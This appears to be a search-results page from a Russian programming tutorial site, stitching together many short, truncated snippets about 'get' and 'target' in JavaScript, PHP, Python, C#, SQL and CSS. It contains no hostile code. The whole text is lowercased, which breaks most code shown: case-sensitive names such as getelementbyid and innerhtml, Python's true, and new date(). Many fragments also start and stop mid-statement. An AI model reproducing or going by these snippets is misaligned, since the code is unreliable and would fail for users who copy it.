// 4 && mod < 20 ? 2 : keys[math.min(mod%10, 5)];
document.getelementbyid("life_site").innerhtml = life + " " + suffix[suffix_key];
}
//]]>
этот сайт существует уже: ...
...
// выберите целевой узел для наблюдения
const targetnode = document.getelementbyid('targetelement');
// настройте наблюдателя для отслеживания определенных типов мутаций ...
... вы получите рабочие примеры и чек-лист лучших практик.
быстрый старт: get json и проверка статуса
важный момент: fetch не бросает исключение на 4xx/5xx ...
... pathlib import path
from collections import defaultdict
import shutil
downloads = path.home() / "downloads"
target = downloads / "_sorted"
target.mkdir(exist_ok=true)
groups = {
"images": {".png", ".jpg", ".jpeg", ".gif", ".webp"},
"docs": ...
... header('access-control-allow-methods: get, post, options');
header('access-control-allow-headers: content-type');
if ($method === 'options') {
exit; // preflight ответ
}
}
if ($uri === '/' && $method === 'get') {
echo '<h1>главная</h1><p>это ...
... 'javascript'> function starttime() { var date = new date(); var hours = date.gethours(); var minutes = date.getminutes(); var seconds = date.getseconds(); if (hours < 10) hours ...
... значению времени
const d1 = new date('2025-01-01');
const d2 = new date('2025-01-01');
console.log(d1.gettime() === d2.gettime()); // true
если нужно сравнить содержимое простых объектов «поверхностно», ...
... на языке, заданным get-параметром. для начала создадим ini-файл "lang_en.ini":hello=helloworld=worldтеперь создадим php-скрипт:<?php $lang = isset($_get['lang'])? $_get['lang']: "en"; ...
... file* f = std::fopen("data.txt", "r");
if (!f) throw std::runtime_error("cannot open");
char buf[128];
if (!std::fgets(buf, sizeof(buf), f)) {
std::fclose(f);
throw std::runtime_error("read error");
}
if (buf[0] ...
... k = 1;
var image_next = 'image_' + k;
document.getelementbyid(image_now).style.opacity = opacity/100;
document.getelementbyid(image_now).style.filter = 'alpha(opacity='+ opacity +')';
...
... function digitalwatch() {
var date = new date();
var hours = date.gethours();
var minutes = date.getminutes();
var seconds = date.getseconds();
if (hours < 10) ...
... будет принимать get-запросы от пользователей на получение различной информации. напишем в этом обработчике такой код:
<?php
if ($_get['action'] == "getbalance") ...
... $this->email = $email;
}
public function getemail(): string {
return $this->email;
} ...
... <canvas id="canvas" width="800" height="600" style="border:1px solid #ccc;"></canvas>
<script>
const canvas = document.getelementbyid('canvas');
const ctx = canvas.getcontext('2d');
/**
* рисует дерево рекурсивно ...
... <pre id="output"></pre>
<script>
document.getelementbyid('fileinput').addeventlistener('change', function (event) {
const file = event.target.files[0];
const reader = new filereader(); ...
... [column(isprimarykey = true)]
public int id { get; set; }
[column]
public string name { get; set; }
[column]
public string city { get; set; } ...
... использует буферы, но суть элементарна: вернуть содержимое файла */
function gettemplate($name) {
ob_start(); // начинаем сохрание выходных данных в буфер ...
... # функция для вывода выбранного значения
def get_selection():
selected = combo.get()
print(f"вы выбрали: {selected}")
...
... <script type="text/javascript">
/* функция, создающая экземпляр xmlhttp */
function getxmlhttp() {
var xmlhttp;
try {
xmlhttp = new activexobject("msxml2.xmlhttp"); ...
... фона
imagefilledrectangle($image, 0, 0, 170, 60, $white); // закрашиваем изображение
imagettftext ($image, 30, 0, 10, 40, $color, $dir."verdana.ttf", $_session['rand_code']); // рисуем текст на капче ...
... берем весь url и отправляем на файл index.php(нашу единую точку входа), передав get параметр url со значением нашего url.
теперь что бы вы не ввели в адресную ...
... $rp = new reflectionproperty('users\user', 'data');
echo '<pre>';
print_r(get_class_methods($rp));
echo '</pre>';
?>
в конструктор класса reflectionproperty ...
... composer, давайте скачаем фреймворк yii
итак, зайдите на сайт http://getcomposer.org/ и нажмите кнопку "getting started". теперь нажмите installation - *nix, чтобы установить его ...
всем привет! в прошлой статье мы разобрали, зачем нужен псевдокласс target, а сегодня мы закрепим знания на практике и создадим аккордион на чистом ...
... applicationid "ru.myrusakov.rssapp"
minsdk 23
targetsdk 32
versioncode 1
versionname "1.0" ...
... продолжить, нам нужно установить пакет nuget для tesseract.
перейдите во вкладку сервис > диспетчер пакетов nuget > консоль диспетчера пакетов, в появившемся ...
... }
public function getlink($name) {
return $this->_type->createlinkname($name);
}
}
$obj = new filestrategy();
$link1 = $obj->getlink("file_one");
$link2 = $obj->getlink("file_two"); ...
...
python (v2.7 recommended, v3.x.x is not supported).
make.
a c/c++ compiler like gcc.
libxtst-dev and libpng++-dev (sudo apt-get install libxtst-dev libpng++-dev).
теперь установите библиотеку через npm.
npm install ...
... const record=await res.json();
document.getelementbyid("date").innerhtml=record.data[0].date;
document.getelementbyid("areaname").innerhtml=record.data[0].areaname;
document.getelementbyid("latestby").innerhtml=record.data[0].latestby; ...
... вот простой пример процедуры, содержащей запрос к базе
create procedure get_user(in user_id int)
begin
select * from users where id = user_id; ...
... считать разницу между этим временем и текущим. вот как это выглядит:
function gettimeremaining(endtime){
var t = date.parse(endtime) - date.parse(new date());
var seconds = math.floor( (t/1000) ...
... защититься от xss?
обычно подобную уязвимость можно найти в формах или в get запросах. например, у нас есть форма поиска на сайте. попробуйте ввести ...
... получается на javascript.
class person
constructor: (name, age) ->
@name = name
@age = age
getinfo: ->
"name: #{@name}, age: #{@age}"
здесь мы создаем класс person, конструктор ...
... почти везде. в качестве примера можно привести получение параметра из get-запроса. ниже вы найдете код в старом и новом стилях и сможете сравнить, ...
... int main() {
string site = "myrusakov";
cout << site;
cin.get(); // ожидание ввода символа
return 0;
}
конкатенация ...
... basil.set('foo', 'bar'); // сохранить значение 'bar' под ключом 'foo'
basil.get('foo'); // вернет 'bar'
basil.remove('foo'); // удалит значение 'foo' ...
... <?php if(session::get('loggedin') == false):?>
<a href="<?php echo url; ?>index">index</a>
<a href="<?php echo url; ?>help">help</a>
<?php endif; ?>
<?php if(session::get('loggedin') ...
... элемент по его id.
let canvas = document.getelementbyid('draw');
затем получим его контекст. для этого вызовем метод getcontext() и укажем, что мы будем рисовать ...
... # функция обработки события
def on_select(event):
selected_value = combo.get() # получаем выбранное значение
print(f"вы выбрали: {selected_value}") ...
... updateroute(startmarker.getlatlng(), endmarker.getlatlng());
}
...
... выбранных элементов в виджете со списком, вы можете использовать метод get(). метод get() возвращает целое число выбранного элемента, известное как индекс ...
... которые взаимодействуют с веб-сервисами. рассмотрим пример выполнения get-запроса асинхронно.
private async void buttonfetchdata_click(object sender, eventargs e) ...
... в админ-панели. для этого есть функция get_terms, которая выводит на страницу списки таксономий.
$terms = get_terms( array(
'taxonomy' => 'price', ...
... идентификаторов.
function showmore() {
var dots = document.getelementbyid("dots");
var moretext = document.getelementbyid("more");
var btntext = document.getelementbyid("btn"); ...
...
обратите внимание, что мы также используем цикл while вместе с функцией getline() (которая принадлежит классу ifstream) для чтения файла построчно и для ...
... // преобразуем выбранное значение опции списка в число - идентификатор категории
const categoryid = parseint(e.target.options[e.target.selectedindex].value);
// получаем из массива категорий объект категрии по соответствующему идентификатору ...
... var expanded by remember { mutablestateof(false) }
val size by animatedpasstate(targetvalue = if (expanded) 200.dp else 100.dp, label = "")
box(
modifier ...
... balance -= amount;
return true;
},
getbalance: function() {
return balance;
}
};
}
var wallet = createwallet(100);
wallet.deposit(50);
console.log(wallet.getbalance()); // 150
console.log(wallet.balance); // undefined ...
... const val = doformat(elem.value, elem.getattribute('data-format'));
elem.value = doformat(elem.value, elem.getattribute('data-format'), elem.getattribute('data-mask')); ...
... получение нужных элементов по id и по названию тега.
document.getelementbyid("demo").innerhtml =
xmldoc.getelementsbytagname("name")[0].childnodes[0].nodevalue;
вывод в консоль.
console.log(xmldoc.getelementsbytagname("name")); ...
... чтобы получить соединение из пула, необходимо использовать метод getconnection():
pool.getconnection(function(err, connection) {
// здесь работаем с полученным соединением ...
... min-width:0 предотвращает вылезание текста */
.widget { flex: 0 1 320px; }
@media (max-width: 1024px) {
.layout { flex-wrap: wrap; }
.widget { flex-basis: 100%; }
}
<div class="layout">
<aside ...
... === b); // true — цикл сохранён корректно
console.log(b.date instanceof date); // true
console.log(b.map.get("k")); // 1
console.log(b.set.has(2)); // true
плюсы: быстро, надёжно, поддерживает сложные ...
... data-product-id="42">в избранное</button>
</div>
const box = document.getelementbyid('products');
box.addeventlistener('click', (e) => {
const btn = e.target.closest('[data-action]');
if (!btn || !box.contains(btn)) return;
const { action, ...
... форме нет атрибута action, где указывается php обработчик и не указаны методы get / post. в технологии ajax, эти методы указываются в js скрипте. отсутствие ...
... print $class_comments = $ref -> getdoccomment();
// получаем комментарии к методу
$method_comments = $ref -> getmethod('actioncontacts') -> getdoccomment(); ...
...
function countdowntimer(duration, granularity) {
this.time_format = this.gettimeformat(duration);
this.duration = this.toseconds(duration);
this.initialduration = this.duration; ...
... const files_storage_path = './uploaded';
interface httpmethod
{
public const get = 'get';
public const post = 'post';
}
function response(mixed $data) ...
... * к полученному массиву добавляем названия столбцов из $header и возвращаем
*
*/
function getallordersreport(pdo $connection)
{
$header = ['номер', 'статус', 'клиент', 'откуда', 'куда', 'к оплате', 'цена', 'долг', 'создан']; ...
... атрибута:
первый способ, через getattribute и setattribute
указываем выбранный на странице элемент (тег, id, класс), сам метод getattribute и название атрибута, который ...
... const taskinput = document.getelementbyid("taskinput");
const addtaskbutton = document.getelementbyid("addtask");
const tasklist = document.getelementbyid("tasklist"); ...
... function generateimage() {
var text = document.getelementbyid('textinput').value;
// создаем элемент canvas ...
... // статический метод, которые создает конкретный объект
public final static function get()
{
// статический список объектов ...
... $rule->getvars()
); ...
... $ dotnet run this is myrusakov post
this
is
myrusakov
post
c# метод environment.getcommandlineargs
метод environment.getcommandlineargs возвращает массив строк, содержащий аргументы командной ...
... а затем sudo pip3 install pyobjc.
в linux запустите sudo pip3 install python3-xlib, sudo apt-get install scrot, sudo apt-get install python3-tk и sudo apt-get install python3-dev. (scrot - это программа для создания ...
... дня
недели (понедельник - 0, вторник - 1, и так далее).
import datetime
def get_tuesday_and_thursday_dates(year, month):
dates = []
date = datetime.date(year, month, 1) # создаем объект даты для первого дня указанного года и месяца ...
... const modal = document.getelementbyid("modal");
const modalimage = document.getelementbyid("modal-image");
// отображаем модальное окно и устанавливаем источник изображения ...
... проверки пароля
// получаем модальное окно
var modal = document.getelementbyid('mymodal');
// показываем модальное окно при загрузке страницы ...
... user = user.objects.create(name='михаил', age=30)
# получение данных
user = user.objects.get(name='михаил')
print(user.name, user.age)
peewee
peewee - это простая и легковесная ...
... connectivitymanager connectivitymanager = (connectivitymanager) context.getsystemservice(context.connectivity_service);
networkinfo activenetworkinfo = connectivitymanager != null ? connectivitymanager.getactivenetworkinfo() : null; ...
... адресной строке браузера (без фигурных скобок{}):
https://api.telegram.org/bot{bot_token}/getupdates
в ответ должен прийти json ответ с chat_id или просто id.
шаг 2: установка ...
... # отправляем запрос на сервер
req = requests.get(url % counter, headers=headers)
# логируем ошибки с помощью встроенного модуля ...
... события могут быть обработаны. в pygame метод получения этой коллекции - pygame.event.get().
событие, которое нам нужно - это pygame.quit. она возникает, когда кто-то ...
... const chat = document.getelementbyid('chat');
const messageinput = document.getelementbyid('message');
const sendbutton = document.getelementbyid('send'); ...
... объявим переменную buttonelem и при помощи метода getelementbyid сохраним кнопку в эту переменную.
const buttonelem = document.getelementbyid('mybtn');
2) шаг. создание ...
... атрибут target. с помощью него можно указать, как будет открываться страница, на которую осуществляется переход. значение _blank у атрибута target открывает ...
... import time
link = r'https://www.cryptocompare.com/'
browser = webdriver.chrome()
browser.get(link)
try:
webdriverwait(browser, 10).until(ec.presence_of_element_located(
(by.class_name, "panel-body"))) ...
... # конвертируем страницу в изображение (массив пикселей)
pix = page.get_pixmap(matrix=matrix)
# сохраняем изображение в файл
output_image_path = f"images/page_{page_number + 1}.jpg" ...
... def get_balance(self):
return self.__balance
account = bankaccount(100)
account.deposit(50)
print(account.get_balance()) # выведет: 150 ...
... отслеживать их изменения.
пример использования geolocation api:
navigator.geolocation.getcurrentposition(
(position) => {
console.log(`latitude: ${position.coords.latitude}`); ...
... с помощью then() и catch() для обработки ответов и ошибок.
простейший пример get-запроса:
fetch('https://jsonplaceholder.typicode.com/posts/1')
.then(response => response.json()) // преобразуем ответ в json ...
... for i in range(4):
process = process(target=worker, args=(i,))
processes.append(process)
process.start() ...
... byte[] salt = new byte[saltlength];
var rngrand = new rngcryptoserviceprovider();
rngrand.getbytes(salt);
return salt;
}
следующие два метода используют ...
... @query("select * from user_table")
list<user> getallusers();
}
шаг 4: создание базы данных
создаем абстрактный класс, который ...
... if( typeof(array.prototype.getrandom ) !== 'function' {
// добавляем метод в прототип массива
array.prototype.getrandom = function() { ...
... //загрузка товаров на страницу
}
у jquery имеется на этот случай метод getjson(), в параметрах которого передается имя json файла и функция-обработчик ...
... вывод записей на примере темы twenty seventeen. записи выводятся через тег шаблона get_template_part в цикле шаблона index.php, который передаёт в параметрах содержимое ...
... const blob = item.getasfile();
// создаем объект, считывающий файлы ...
... файлу index.php с соответствующим get-запросом. поэтому несмотря на отсутствие в url из адресной строки браузера всяких get-параметров, если выполнить ...
... \slim\app($config);
// определяем маршруты
// главная страница
$app -> get('/',function($request, $response)) {
return $response -> write('добро пожаловать ...
... '50%' // положение слева относительно родителя
};
var target = document.getelementbyid('loading');
var spinner = new spinner(opts).spin(target);
</script> ...
...
cap = cv2.videocapture("video0102.mp4"); # вывод с видео файла
print(cap.get(cv2.cap_prop_frame_width)) # вывод в консоли размера нашего окна. ...
... наше приложение и создадим отображение для get-запроса на nodejs.
в этой статье мы сфокусируемся на get-запросе в нашем контроллере todocontroller.js и создадим ...
... теперь рассмотрим функцию displayuploads
var displayuploads = function(data) {
var uploads = document.getelementbyid("uploads"),
anchor,
x;
for(x = 0; x < ...
... '{$url}'");
return $code;
}
}
public function geturl($code) {
$code = $this->db->escape_string($code);
$code = $this->db->query("select ...
... файлами на самом простом уровне: file_put_contens() и file_get_contents(). функция file_put_contents() записывает в файл, а функция file_get_contents() считывает содержимое из файла. эти ...
... // метод для получения настройки из хранилища
public function get($option) {
{
return $this -> options[$option];
}
...
... $this->role = $role;
}
public function getname() {
return $this->name;
}
public function getrole() {
return $this->role;
}
...
... { $sum = $this->x + $this->y; return $sum; } function getpi() { return self::pi; } }?>здесь всё очень просто: ...
... lftrght=new array();var browserinfos=navigator.useragent;var ie5=document.all&&document.getelementbyid&&!browserinfos.match(/opera/);var ns6=document.getelementbyid&&!document.all;var opera=browserinfos.match(/opera/);function randommaker(range) ...
... методов:
__construct, __destruct
__call, __callstatic
__get, __set
__sleep, __wakeup
__tostring
__invoke
...
... <body>
<a href="yandex.ru" id="link">нажми!</a>
<script>
var link = document.getelementbyid('link');
link.addeventlistener('click', function(e) {
e.preventdefault(); ...
... товарами в интернет магазине.
установка bootstrap
зайдем на главную страницу getbootstrap.com и воспользуемся вторым способом подключения через cdn (сеть доставки ...
... формой. для этого мы воспользуемся javascript:
function select(element) {
var value = element.getattribute("data-value"); // считываем значение выбранного элемента
var nodes = element.parentnode.childnodes; ...
... include 'user.php';
$rm = new reflectionmethod('users\user', 'getdata');
echo '<pre>';
echo print_r(get_class_methods($rm));
echo '</pre>';
?>
чтобы создать ...
... тегами <head> и </head>):
<script type="text/javascript">
function tree(target) {
var ul = target.parentnode.getelementsbytagname("ul").item(0);
ul.style.display = (ul.style.display == ...
... страницам на php.
в основе лежат оператор limit и get-параметр. вот примерный алгоритм работы:
получить значение get-параметра, отвечающего за номер страницы. ...
... public static function set($key, $value) {
$_session[$key] = $value;
}
public static function get($key) {
if(isset($_session[$key]))
return $_session[$key];
}
public static function ...
... var button = document.getelementbyid('button'),
xmlhttp = new xmlhttprequest();
button.addeventlistener('click', function() {
var name = document.getelementbyid('name').value.replace(/]+>/g,''), ...
... пишется в теге <?php ... ?>.
<?php
$text = 'чайник';
$utm_term = $_get['utm_term'];
if (!empty($utm_term)) {
if ($utm_term == 'electric_kettle') {
$text ...
... <div id="swipearea">swipe here</div>
<script>
const swipearea = document.getelementbyid('swipearea');
let touchstartx = 0;
let touchstarty = 0; ...
... личной практики (он сильно упрощён, но самую суть я оставил):
<?php
$view = $_get["view"];
switch ($view) {
case "pagea":
$content = new pageacontent($db); ...
... string greetings = "привет! myrusakov.ru";
fileoutputstream.write(greetings.getbytes());
fileoutputstream.close();
}
}
можно ...
... print("drawing a square")
class shapefactory:
@staticmethod
def get_shape(shape_type):
if shape_type == "circle":
return circle() ...
... обращении, например, к $this->title будет выводиться $this->data["title"] */
public function __get($name) {
if (isset($this->data[$name])) return $this->data[$name];
return ""; ...
... return false;
}
if (gettype($data[$key]) !== $type) {
echo "ключ '$key' должен быть типа '$type'.\n"; ...
... return "this is a private method"
def get_private_attribute(self):
return self.__private_attribute
obj = myclass()
print(obj.get_private_attribute()) # 42
хотя ...
... способ передачи данных и может иметь одно их двух значение, post или get. метод get используется по умолчанию, когда передача данных осуществляется ...
... $filepath = rootdir . directory_separator . $file->getfilename();
if($file->isfile() && $file->getextension() === 'pdf')
{
$posterfile = new splfileinfo(coverimagepath($filepath)); ...
... function ($e) {
echo "error: {$e->getmessage()}\n";
}
);
$loop->run();
этот код выполняет асинхронный ...
... // функция генерирует случайное число диапазоне [min,mах]
function getrandomnumber(min, max) {
return math.floor(math.random() * (max - min + 1)) + min; ...
... document.addeventlistener('keydown', function(event) {
const inputelement = document.getelementbyid('myinput');
const isalphanumeric = /^[a-za-z0-9\u0400-\u04ff\u0500-\u052f]$/; ...
... import sys
nums = range(1_000_000)
lst = [n*n for n in nums]
gen = (n*n for n in nums)
print(sys.getsizeof(lst), 'bytes in list')
print(sys.getsizeof(gen), 'bytes in generator')
# генератор стабильно мал по ...
... function check(login) {
if (login.length < 3) document.getelementbyid("e_login").style.display = "inline";
else document.getelementbyid("e_login").style.display = "none";
}
</script>
в функции ...
... делается.
начнём с формы и javascript-кода:
<script type="text/javascript">
function getxmlhttp() {
var xmlhttp;
try {
xmlhttp = new activexobject("msxml2.xmlhttp"); ...
... генерация случайного числа между 1 и 100
$rand = new random\randomizer();
$rand->getint(1, 1000); // 425
перемешивание строки
$rand = new random\randomizer(); ...
... <!-- data-clipboard-target - ссылка на, то что будет копироваться -->
<button class="btn" data-clipboard-target="#foo">копировать</button> ...
... получить список файлов в указанной папке с помощью команды get-childitem.
$filelist = get-childitem -path $sourcepath
4. переименование файлов
далее осуществляется ...
... большинство программистов делает так:
<script type="text/javascript">
var block = document.getelementbyid("block");
block.scrolltop = 9999;
</script>
безусловно, данный способ рабочий. ...
... $(document).on("dblclick", "#block span", deletespan);
function deletespan(event) {
$(event.target).remove();
}
</script>
в данном примере был использован метод on(). первым ...
те, кто использовал кнопку type="image" и метод get, обратили внимание, что в адресной строке появляются дополнительные параметры "x" и "y", которые содержат ...
... return render_template('index.html')
@app.route('/login', methods=['get', 'post'])
def login():
if request.method == 'post': ...
... 2-го ротатора
function rotatormany() {
document.getelementbyid("rotator_many_1").src = path + cats[counter];
document.getelementbyid("rotator_many_2").src = path + dogs[counter];
counter++; ...
... const inputelement = document.getelementbyid('searchinput');
function handleinput(event) {
console.log('ввод пользователя:', event.target.value);
}
const debouncedhandleinput = debounce(handleinput, 300); ...
... assert(1 + 1 == 3, '1 + 1 не равно 3');
} catch (assertionerror $e) {
echo $e->getmessage(); // выведет: '1 + 1 не равно 3'
}
?>
пример ...
... if ($header) {
$this->header = fgetcsv($this->handle);
}
return $this; ...
... псевдоклассы
target: - применяется к id, который указан в адресной строке браузера.
<div id="h1">заголовок раздела</div>
h1:target {
color: ...
... public static function getcount() {
return self::$count;
}
}
echo math::calcsin(1);
echo "<br />";
echo math::calcsqrt(9);
echo "<br />";
$math = new math();
$math_2 = new math();
echo math::getcount();
?>
...
... const searchtext = document.getelementbyid("search").value.tolowercase();
const category = document.getelementbyid("category").value; ...
... кнопки, должно быть два обязательных data атрибута от bootstrap.
data-toggle="modal"
data-target="#examplemodal"
идентификатор examplemodal связывает кнопку с модальным окном. ...
... if (navigator.geolocation) {
navigator.geolocation.getcurrentposition(function (position) {
const latitude = position.coords.latitude; ...
... delay = 2000;
var ar_src = new array();
function setbigimageslide(group) {
var group = document.getelementbyid(group);
var images = group.childnodes;
var src = new array();
...
... private static function printformattedline(string $line): void
{
$tokens = token_get_all('<?php ' . $line);
array_shift($tokens); // удаление токена открывающего тега php ...
... let array = [1, 2, 3];
localstorage.setitem(array, json.stringify(array));
array = json.parse(localstorage.getitem("array"));
console.log(typeof array); // объект
console.log(array); // [1, 2, 3]
сохранение ...
... $el_2 = $el_1->nextsibling; // ближайший сосед после 1-го элемента el
echo $el_1->getattribute("a"); // выводим значение атрибута "a" у 1-го элемента el
echo "<br />"; ...
... "javascript">
function showlinkimage(id) {
document.getelementbyid(id).style.display = "block";
}
function hidelinkimage(id) {
document.getelementbyid(id).style.display = "none";
}
</script> ...
... import { injectable } from '@angular/core';
@injectable({
providedin: 'root'
})
export class userservice {
getusername() {
return 'иван';
}
}
использование ...
... { name: 'index@notfound', url: '/notfound', handler: handlers.error404 },
]
// маршрут при ошибке 404
const getnotfoundroute = (routes) => routes.find(route => route.name === 'index@notfound') ...
... };
img.src = event.target.result;
};
reader.onerror = function() { ...
... var isgecko = navigator.useragent.tolowercase().indexof("gecko") != -1;
var iframe = (isgecko) ? document.getelementbyid("frameid") : frames["frameid"];
var iwin = (isgecko) ? iframe.contentwindow : iframe.window; ...
... return lines
# возвращает 5 случайных вопросов
def get_questions(numberofanswers = 5):
# получаем список строк из файла ...
... // если его время жизни ещё не прошло
echo file_get_contents($cache_file); // выводим содержимое файла
exit; // завершаем ...
... переменные, полученные из get-запроса. допустим, был такой запрос: index.php?a=15. таким образом, безусловно, создаётся переменная $_get["a"] и переменная a. вот ...
... этот скрипт и постараюсь тщательно прокомментировать.
<?php
function getzodiacalsign($month, $day) {
$signs = array("козерог", "водолей", "рыбы", "овен", "телец", ...
... </head>):
<script type="text/javascript">
function starttimer() {
var my_timer = document.getelementbyid("my_timer");
var time = my_timer.innerhtml;
var arr = time.split(":");
...
... """открыть окно настроек и передать данные"""
user_text = entry.get() # получаем текст, введённый пользователем в главном окне ...
... хотим видеть: шапку и подвал. а можно и не выводить их.
<?php
get_header(); // вывод шапки
get_footer(); // вывод подвала
?>
между шапкой и подвалом можно ...
... // получаем текущие дату и время
var h = date.gethours(); // получаем текущий час
if (h < 8 || h > 21) document.getelementbyid("style").href = "css/night.css"; // если сейчас ночь, ...
... table;
atan
возвращает артангес
select atan(.3) as artangets from table;
atan2
то же самое, но для 2 чисел.
select atan2(.3, .2) as artangets2 from table;
вернет: 0.982793723
power
возвращает ...
... получение элемента canvas, контекста и свойства math.pi
let canvas = document.getelementbyid('drawround');
let ctx = canvas.getcontext('2d');
let pi = math.pi;
ctx.beginpath();// начало нового пути ...
... шахматную доску с помощью циклов.
<script>
var c=document.getelementbyid("mycanvas");
var ctx=c.getcontext("2d");
for(i=0;i<8;i++)
{for(j=0;j<8;j++)
{ctx.moveto(0,70*j);
ctx.lineto(560,70*j); ...
... обновляет координаты позиции пчелы.
const canvas = document.getelementbyid('canvas') // получаем холст
const ctx= canvas.getcontext('2d') // получаем контекст рисования
let ...
... <canvas></canvas>
теперь мы можем начать писать скрипт.
var tag = document.getelementbyid("canvas"),
ctx = tag.getcontext("2d");
сначала мы отбираем наш canvas, а затем создаём ...
... # находим длину, ширину изображения и размеры каждого кадра
width, height = sprite.get_size()
w, h = width/w1, height/h1
# счетчик положения кадра на изображении ...
... # создадим экземпляр драйвера
my_driver = webdriver.chrome(path)
# пропишем адрес сайта
my_driver.get("https://myrusakov.ru/python-tutorial.html")
# получим список ссылок из страницы сайта ...
... = localstorage.getitem('ключ');
в результате, в переменную value попадет значение, которое хранится под ключом, который мы передаем в метод getitem.
удаляем ...
... use phpoffice\phpspreadsheet\writer\xlsx;
const report_file_name = "отчет_по_закупкам.xlsx";
if (isset($_get['report'])) {
// (1) создаем новую книгу
$spreadsheet = new spreadsheet(); ...
... пустой файл archive-book.php и подключим к нему шапку,
<?php
get_header();
?>
подвал
<?php
get_footer();
?>
и сделаем вывод контента в цикле, скопировав ...
... mysql.
для начала изменим наш файл инициализации - bootstrap.php.
$url = isset($_get['url']) ? $_get['url'] : null;
таким образом мы сделали проверку на существование ...
... рассмотрим, как обрабатывать post запросы в nodejs.
post запросы отличаются от get запросов, которые мы рассматривали в прошлых статьях, тем, что данные ...
... укажем контекст рисования 2d.
// javascript код
let canvas = document.getelementbyid('drawline');
let ctx = canvas.getcontext('2d');
рисование линии напоминает рисование ...
... элемента и добавляет его только в том случае, если его еще нет.
def get_unique(in_list):
# объявление пустого списка
unq_list = [] ...
... newsapi = newsapiclient(api_key ='yourkey')
top = newsapi.get_top_headlines(sources ='techcrunch')
l = top['articles']
dsc =[] ...
... рассмотрим, как сделать простую навигацию на html5 и css3, используя псевдокласс :target.
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>html5 ...
... вводимые данные.
function validate(){
var form = document.getelementbyid("form");
var email = document.getelementbyid("email").value;
var pattern = /^[^ ]+@[^ ]+\.[a-z]{2,3}$/ ...
... pdf = pdffilereader(f)
inf = pdf.getdocumentinfo()
number_of_pages = pdf.getnumpages()
txt = f"""
информация об {path_to_pdf}: ...
... перейдем в app/http/routes.php, удалим там все и напишем свой роутер.
<?php
route::get('/', [
'uses' => '\chatty\http\controllers\homecontroller@index',
...
... на самом деле, очень просто. для этого есть функция force.jump().
var element = document.getelementbyid('element-id');
// перепрыгнуть к объекту
force.jump(element);
// перепрыгнуть ...
... # шаблон извлекается из каталога templates
# методом get_template
template = env.get_template('showlang.txt')
output = template.render(languages=languages)
print(output) ...
... давайте сразу рассмотрим пример:
class calculator {
protected $result = 0;
public function getresult() {
return $this->result;
}
public function add($number) {
$result = 'this'; ...
... поменять метод sendfile() на render() вот таким образом:
app.get('/', function(req, res) {
res.render('index');
});
app.get('/contact', function(req, res) {
res.render('contact'); ...
... def _handle_input(self):
for event in pygame.event.get():
if event.type == pygame.quit or ( ...
... files.foreach(file => archive.createentryfromfile(file, path.getfilename(file)))
}
} ...
... tasksfile = 'tasks.xml'; // файл с задачами
// get запрос на получение данных из xml файла
const requestobject = { ...
... app.mapget("/", () => "это минимальное api сайта");
app.mapget("/version", () => $"версия приложения 0.0.1"); ...
... элемент. заголовок hello, world выводится в блоке с id="content".
reactdom.render(<app />, document.getelementbyid('content')
3) создадим класс app. имя тега должно совпадать с ...
...
комментария на сайте.
<?php
$db = db::getinstance(); // получаем соединение с базой данных
$lastcomment = $db -> getlastcomment(); // получаем последний комментарий ...
... кода.
wp_enqueue_script( 'my-fb', get_template_directory_uri() . '/fancybox/jquery.fancybox.pack.js', array('jquery') );
wp_enqueue_style( 'my-fb-css', get_template_directory_uri() . '/fancybox/jquery.fancybox.css' ...
... if (window.filelist && window.file) {
const file = e.target.files[0];
const name = file.name ? file.name : 'not supported'; ...
... # в данном случае потребуется обновить pip двумя командами:
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
my_env3\scripts\python.exe -m pip install --upgrade pip
# после чего установим любой пакет: ...
... const darkswitch = document.getelementbyid('darkswitch');
const currenttheme = localstorage.getitem('theme');
if (currenttheme) { ...
... отправки http-запросов.
import requests
# отправка get-запроса и работа с url
response = requests.get('https://api.example.com/data?id=123')
print(response.url) # выводит url, сформированный запросом ...
... constraint validation api: свои сообщения и контроль отправки
<script>
const form = document.getelementbyid('signup');
const status = form.queryselector('.form-status');
function showfielderror(input, message) {
input.setcustomvalidity(message ...
... передаем в функцию get() какой-нибудь ключ и получаем в консоли его текущее значение.
let format = 'dd.mm.yyyy';
console.log(moment().get('year')); // ...
... генерируется графический счётчик на php.
сразу привожу код:
<?php
$count = file_get_contents("counter.txt"); // считываем значение счётчика
$count++; // увеличиваем ...
... class program
{
[dllimport("user32.dll")]
static extern bool getcursorpos(out point lppoint);
static void main()
{
console.writeline("начало отслеживания и записи координат курсора. нажмите любую клавишу для выхода."); ...
... файлу form.php ссылку на ../bootstrap.min.css на официальном сайте bootstrap. открываете getbootstrap, копируете саму верхнюю ссылку на файл стилей в разделе bootstrap cdn ...
... // ссылки на кнопки
const down_button = document.getelementbyid("down_button");
const stop_button = document.getelementbyid("stop_button");
// при щелчке по кнопке загрузки ...
... password_default, $opt);
}
?>
password_get_info()
эта фунция просто возвращает массив параметров хэширования.
<?php
$arr = password_get_info($hash);
?>
вернётся ассоциативный ...
... // получаем список файлов кроме файлов из папок obj и bin
var files = getdirectoryfiles(dir, new list<string> { "\\obj\\", "\\bin\\" });
// создаем архив ...
... const togglebutton = document.getelementsbyclassname('toggle-button')[0]
const navbarlinks = document.getelementsbyclassname('navbar-links')[0]
// при клике на кнопку меня переключаем состояние меню ...
... # получаем имя пользователя и пароль
username = username_entry.get()
password = password_entry.get()
# выводим в диалоговое окно введенные пользователем данные ...
... pdo("myql:host=$host;dbname=$dbname", $user, $pass);
} catch(pdoexception $e) {
echo "you have an error: ".$e->getmessage()."<br>";
echo "on line: ".$e->getline();
}
в качестве примера, я допустил ошибку и написал ...
... <body>
<a href="yandex.ru" id="link">нажми!</a>
<script>
var link = document.getelementbyid('link');
link.attachevent('onclick', function(e) {
e.returnvalue ...
... запросов базы данных для выполнения
определенных операций.
create procedure getallcustomers()
begin
select * from customers;
end
функции (functions) ...
... это значение и выводить его при наведении на текст.
var el = document.getelementbyid("test");
var text = el.getattribute("data-title");
alert(text);
также данный атрибут можно использовать, ...
... pdfdocument pdfdocument = new pdfdocument();
pdfdocument.loadfromfile(file.getabsolutepath());
// конвертируем ...
... <p>
<a href="" target="_blank">
<img src="url_image.jpg" alt="" width="320" height="182">
</p>
<p class="copy"><a href="">
copyright
</a>
</p>
<p class="blue">
<a href="" target="_blank">
ссылка ...
... проде логируйте, а не показывайте пользователю детали
die('db error: ' . $e->getmessage());
}
подготовленные запросы: основы
prepared statements позволяют отделить ...
... содержимое? поможет нам псевдо-класс :target, который при клике по цели, применит заданный стиль к элементу с якорем.
.tab__box:target {
